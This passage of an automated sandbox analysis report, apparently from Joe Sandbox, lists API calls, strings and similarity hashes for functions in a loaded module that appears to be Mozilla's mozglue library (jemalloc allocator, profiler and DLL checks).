floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB43902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB43939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB43970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB439EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB43A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB43AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB43E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB43EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB43EE2

Part of subcall function 6CB46180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CB461DD
Part of subcall function 6CB46180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CB4622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB440F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB4412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB44157

Part of subcall function 6CB46180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB46250
Part of subcall function 6CB46180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB46292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB4441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB44448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB4484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB44863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB44878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB44896
free.MOZGLUE ref: 6CB4489F

Strings

, xrefs: 6CB44CD2

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 0484df21ad3bea2834542c678def5cb7812e7e28adb15e83169826a09374e2b5
Instruction ID: 55ecd5dd76db7fd17e6a708e437b4e30b573ec385cf4b1b824f1fb2188aeb423
Opcode Fuzzy Hash: 0484df21ad3bea2834542c678def5cb7812e7e28adb15e83169826a09374e2b5
Instruction Fuzzy Hash: 43F25874908B808FC725CF28C08469AFBF1FF8A308F518A5ED98997755DB319896CF42

Function 6CAF64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CAF64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CAF64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CAF6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CAF6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAF652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CAF671C
GetCurrentProcess.KERNEL32 ref: 6CAF6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAF672F
GetCurrentProcess.KERNEL32 ref: 6CAF6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAF6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CAF6A80
GetSystemInfo.KERNEL32(?), ref: 6CAF6ABE
__Init_thread_footer.LIBCMT ref: 6CAF6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAF6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAF6AF7

Strings

nvd3d9wrap.dll, xrefs: 6CAF6500
detoured.dll, xrefs: 6CAF64DA
nvdxgiwrap.dll, xrefs: 6CAF6513
user32.dll, xrefs: 6CAF6526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CAF6798
_etoured.dll, xrefs: 6CAF64ED

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 627efa71acf250c52220891948def98c6bae9c99dc3ee10e201b887b82ff8c20
Instruction ID: 6d14ce4ed49da949e113f2f66a393c195bbb827c3f73672a476235056e525c0f
Opcode Fuzzy Hash: 627efa71acf250c52220891948def98c6bae9c99dc3ee10e201b887b82ff8c20
Instruction Fuzzy Hash: E8F105709052599FCB20DF65CC887AAB7B5EF05318F1842D9E829A3781D731AEC6CF90

Function 6CB160A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB6E7DC), ref: 6CB160C9
LeaveCriticalSection.KERNEL32(6CB6E7DC), ref: 6CB1610D
EnterCriticalSection.KERNEL32(?), ref: 6CB1618C
LeaveCriticalSection.KERNEL32(?), ref: 6CB161F9

Strings

<jemalloc>, xrefs: 6CB16AA9, 6CB16B59
: (malloc) Unsupported character in malloc options: ', xrefs: 6CB16B6A
MOZ_CRASH(), xrefs: 6CB16AB8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB16BC7, 6CB16F97, 6CB16FB2
MALLOC_OPTIONS, xrefs: 6CB16888
Compile-time page size does not divide the runtime one., xrefs: 6CB16AAE

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 9037d349af9c276ff8d2adcce60d4add01b04ae6274bd0320e082b8186d4da79
Instruction ID: 4e6a5e149117554efedd0d29050c3f4ea30a2d478db35067ce988ea66d7c2fe0
Opcode Fuzzy Hash: 9037d349af9c276ff8d2adcce60d4add01b04ae6274bd0320e082b8186d4da79
Instruction Fuzzy Hash: 96A2BE71A096918FD708CF19C950729BBE1FF85328F29C66DE869CBB91D731E841CB81

Function 6CB4C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB4C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB4C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB4C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB4C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CB4C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB4CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB4CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB4DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CB4DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CB4DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB4DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB4DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CB4E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB4E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CB4E472

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 2d3057ff3c7f3e0293c597a26b3b9ac5f2ea4d2a13a77351256ac11337cdcb8f
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: DA33AF71E0429ACFCB14CFA8C8806ADFBF2FF49310F188269D955AB759D731A945CB90

Function 6CAFFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB6E7B8), ref: 6CAFFF81
LeaveCriticalSection.KERNEL32(6CB6E7B8), ref: 6CB0022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CB00240
EnterCriticalSection.KERNEL32(6CB6E768), ref: 6CB0025B
LeaveCriticalSection.KERNEL32(6CB6E768), ref: 6CB0027B

Strings

<jemalloc>, xrefs: 6CB00D62, 6CB00D76, 6CB00DA7
: (malloc) Error in VirtualFree(), xrefs: 6CB00D67, 6CB00D7B, 6CB00DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAFFE99, 6CAFFEB7, 6CAFFED3, 6CB00DB8, 6CB00DD3, 6CB019B4

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 30abd361b8dd70acc1866aebd54cca02b61a1f3a5fd663498fe964c0c0f2b172
Instruction ID: 0b3e5a3fa9268d83d730b95aeead9e9fa313e81b05e9f28b690a40f2fc0af83a
Opcode Fuzzy Hash: 30abd361b8dd70acc1866aebd54cca02b61a1f3a5fd663498fe964c0c0f2b172
Instruction Fuzzy Hash: 41C26B71B057818FD718CF29C980716BBE1EF85328F28C66DE8A98B795D771E841CB81

Function 6CB4E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CB4E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB4EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CB4EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB4EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB4F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CB4F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB50E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CB50E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CB50EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CB50ED4

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 8cdc8e75953de16153841583ead9ff014ca582bb49741b2c64508b33461265c7
Instruction ID: 01afa5391739b867efa270b5dd447c49052cad7aa4ca2deefdf97a0f6a485bb7
Opcode Fuzzy Hash: 8cdc8e75953de16153841583ead9ff014ca582bb49741b2c64508b33461265c7
Instruction Fuzzy Hash: 9263A071E0429ACFCB04CFA8C8905DDFBB2FF89314F698269D855AB745D730A946CB90

Function 6CB23E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CB47770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CB23E7D,?,?,?,6CB23E7D,?,?), ref: 6CB4777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CB23F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CB23F5C
VerSetConditionMask.NTDLL ref: 6CB23F8D
VerSetConditionMask.NTDLL ref: 6CB23F99
VerSetConditionMask.NTDLL ref: 6CB23FA0
VerSetConditionMask.NTDLL ref: 6CB23FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CB23FB4

Strings

nvd3d9wrap.dll, xrefs: 6CB24466
nvinit.dll, xrefs: 6CB24479

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: 695aa9d17a5b964dbd4125be13700383867f1e070d9f803c48cbab5cea7619d0
Instruction ID: c4bf7614133942e19ce479e19bbde991b025bf1390be412ecb0e727ec138540c
Opcode Fuzzy Hash: 695aa9d17a5b964dbd4125be13700383867f1e070d9f803c48cbab5cea7619d0
Instruction Fuzzy Hash: 2052F171610B894FD711DF34C980ABBB7F9AF45204F444A2DE4A68BB42DB74F94ACB60

Function 6CB0ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CB0EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CB0EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CB11695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB116B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CB11770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB11A3E

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 73f30408e207635b197d86c4e628945a86d7331db4c191efcbfef2c64d5579fb
Instruction ID: c4b9887731dedc68e9ee0384f4a8b4f171a3a6a2c9541256097a444892108758
Opcode Fuzzy Hash: 73f30408e207635b197d86c4e628945a86d7331db4c191efcbfef2c64d5579fb
Instruction Fuzzy Hash: 0BB32B71E04259CFCB14CFA8C890A9DBBB2FF49304F1981A9D459ABB45D730AD86CF91

Function 6CAFFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB6E7B8), ref: 6CAFFF81
LeaveCriticalSection.KERNEL32(6CB6E7B8), ref: 6CB0022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CB00240
EnterCriticalSection.KERNEL32(6CB6E768), ref: 6CB0025B
LeaveCriticalSection.KERNEL32(6CB6E768), ref: 6CB0027B

Strings

MOZ_CRASH(), xrefs: 6CB00CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAFFE99, 6CAFFEB7, 6CAFFED3, 6CB00DB8, 6CB00DD3, 6CB019B4, 6CB01A10

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 962dc16e2e0a8b86a34efdf976e84b3d52940a4ada40617494ed6e1aeda10db8
Instruction ID: 779ab2f323f102825cc33323def14ea47d2a8cd7e6bff8489a8e79a53fa37f11
Opcode Fuzzy Hash: 962dc16e2e0a8b86a34efdf976e84b3d52940a4ada40617494ed6e1aeda10db8
Instruction Fuzzy Hash: BEB27A71B057818FD718CF29C590716BBE1EF85328F28C66DE86A8BB95D770E841CB42

Function 6CB35600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6CB35AC8, 6CB35CBB
expected a Count entry, xrefs: 6CB35AC3
data, xrefs: 6CB36131
schema, xrefs: 6CB3606D
expected a Time entry, xrefs: 6CB35CB6
name, xrefs: 6CB35E79, 6CB35E8F

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 57d85c9fc52cd0d0a968d1cb1ed9c9a98dad0fc3c035eaf55d1d4dfdf7999615
Instruction ID: f1325e4461a40335015fc8c63ae08af4a2f82e8294daf7b44a25a675acfc3131
Opcode Fuzzy Hash: 57d85c9fc52cd0d0a968d1cb1ed9c9a98dad0fc3c035eaf55d1d4dfdf7999615
Instruction Fuzzy Hash: DB923971A083918FD724CF28C59079ABBE1FFC9308F54891DE59A9B751DB30E849CB92

Function 6CB32E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CB32ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB32EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CB32F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB33214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB33242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB336BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6CB3378D
get , xrefs: 6CB33205
set , xrefs: 6CB336EC

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 453267436eef67ed8bfe724504ec7a2fee243757007d1e7fb71b5ad9c816abe1
Instruction ID: 2b3d7a331430cf7f0a6f589e6f70391d4725c45b76f6add20a21faef3372750f
Opcode Fuzzy Hash: 453267436eef67ed8bfe724504ec7a2fee243757007d1e7fb71b5ad9c816abe1
Instruction Fuzzy Hash: 3E3279B46083C18FD324CF24C490AAFBBE2EFC9218F54991DE59987751DB31A94ACB53

Function 6CB27E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6CB28280, 6CB283E1
schema, xrefs: 6CB281E3, 6CB28311
(pre-xul), xrefs: 6CB27E88
name, xrefs: 6CB27ECF, 6CB28335

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 50402c61665973a747ba24cf43f18985ece7f35c6cfa99800c892b73a20137fe
Instruction ID: 3ba042dd713182fb51b4950236f49b07edcaba8e56963634701135742965d225
Opcode Fuzzy Hash: 50402c61665973a747ba24cf43f18985ece7f35c6cfa99800c892b73a20137fe
Instruction Fuzzy Hash: 36E18F71A043808FC710CF69C84066BFBE9FB95314F548A2DE899D7B90DBB4DD498B92

Function 6CB0D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB6E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB1D1C5), ref: 6CB0D4F2
LeaveCriticalSection.KERNEL32(6CB6E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB1D1C5), ref: 6CB0D50B

Part of subcall function 6CAECFE0: EnterCriticalSection.KERNEL32(6CB6E784), ref: 6CAECFF6
Part of subcall function 6CAECFE0: LeaveCriticalSection.KERNEL32(6CB6E784), ref: 6CAED026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB1D1C5), ref: 6CB0D52E
EnterCriticalSection.KERNEL32(6CB6E7DC), ref: 6CB0D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB0D6A6
LeaveCriticalSection.KERNEL32(6CB6E7DC), ref: 6CB0D712
LeaveCriticalSection.KERNEL32(6CB6E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB1D1C5), ref: 6CB0D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB0D7EA

Strings

<jemalloc>, xrefs: 6CB0D827
: (malloc) Error initializing arena, xrefs: 6CB0D82C

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 52bdab70a4bf6bb9f222a86727e37e501999d1f9d3170c7132ddb6a8657fb3f6
Instruction ID: dcdea27240f0d76bb786bdc8813e15fa13bf942e7680d8fe8106365cdec2d510
Opcode Fuzzy Hash: 52bdab70a4bf6bb9f222a86727e37e501999d1f9d3170c7132ddb6a8657fb3f6
Instruction Fuzzy Hash: BA918E71B047818FD714CF39D59072ABBE1EB99319F15892EE59A87BC1D730E844CB82

Function 6CB05E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB05EDB
memset.VCRUNTIME140(6CB47765,000000E5,55CCCCCC), ref: 6CB05F27
LeaveCriticalSection.KERNEL32(?), ref: 6CB05FB2
memset.VCRUNTIME140(6CB47765,000000E5,B6C09015), ref: 6CB061F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CB07652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CB072E3
MOZ_CRASH(), xrefs: 6CB07BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CB072F8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CB0730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB07BCD, 6CB07C1F, 6CB07C34, 6CB080FD

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
